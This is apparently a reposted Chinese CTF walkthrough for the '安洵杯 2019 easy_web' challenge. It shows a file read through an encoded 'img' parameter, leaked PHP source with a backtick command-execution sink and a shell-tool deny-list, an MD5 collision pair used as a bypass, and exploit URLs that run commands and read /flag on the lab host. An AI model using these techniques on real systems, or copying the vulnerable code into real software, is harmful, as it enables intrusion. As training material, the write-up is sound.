[安洵杯 2019]easy_web
Posted 育良书记
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[安洵杯 2019]easy_web相关的知识,希望对你有一定的参考价值。
查看URL,发现img参数后面应该是base64加密,尝试解码
http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd
base64解密-》base64解密-》hex进制转换
MzUzNTM1MmU3MDZlNj 3535352e706e 555.pn
可以猜测img参数可能存在文件包含漏洞,将index.php进行加密
text转化为hex-》base64加密-》base64加密
696E6465782E706870
Njk2RTY0NjU3ODJFNzA2ODcw
TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
输入加密后的URL,右键查看源代码将base64部分进行解码便可得到代码
http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=
1 <?php 2 error_reporting(E_ALL || ~ E_NOTICE); 3 header(\'content-type:text/html;charset=utf-8\'); 4 $cmd = $_GET[\'cmd\']; 5 if (!isset($_GET[\'img\']) || !isset($_GET[\'cmd\'])) 6 header(\'Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=\'); 7 $file = hex2bin(base64_decode(base64_decode($_GET[\'img\']))); 8 9 $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); 10 if (preg_match("/flag/i", $file)) { 11 echo \'<img src ="./ctf3.jpeg">\'; 12 die("xixiï½ no flag"); 13 } else { 14 $txt = base64_encode(file_get_contents($file)); 15 echo "<img src=\'data:image/gif;base64," . $txt . "\'></img>"; 16 echo "<br>"; 17 } 18 echo $cmd; 19 echo "<br>"; 20 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\\\'|\\"|\\`|;|,|\\*|\\?|\\\\|\\\\\\\\|\\n|\\t|\\r|\\xA0|\\{|\\}|\\(|\\)|\\&[^\\d]|@|\\||\\\\$|\\[|\\]|{|}|\\(|\\)|-|<|>/i", $cmd)) { 21 echo("forbid ~"); 22 echo "<br>"; 23 } else { 24 if ((string)$_POST[\'a\'] !== (string)$_POST[\'b\'] && md5($_POST[\'a\']) === md5($_POST[\'b\'])) { 25 echo `$cmd`; 26 } else { 27 echo ("md5 is funny ~"); 28 } 29 } 30 31 ?> 32 <html> 33 <style> 34 body{ 35 background:url(./bj.png) no-repeat center center; 36 background-size:cover; 37 background-attachment:fixed; 38 background-color:#CCCCCC; 39 } 40 </style> 41 <body> 42 </body> 43 </html>
代码第20行过滤了系统命令等关键字,但是没有过滤dir。代码第24行可以发现比较md5时,进行了强制类型转换。
MD5强类型的绕过
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
输入如下URL,执行dir命令
http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=&cmd=dir
右键查看源代码,发现flag并没有在当前目录下
根目录查找,发现flag文件
http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=&cmd=dir /
因为过滤了cat,但是可以通过\\反斜杠进行绕过
http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=&cmd=ca\\t /flag
以上是关于[安洵杯 2019]easy_web的主要内容,如果未能解决你的问题,请参考以下文章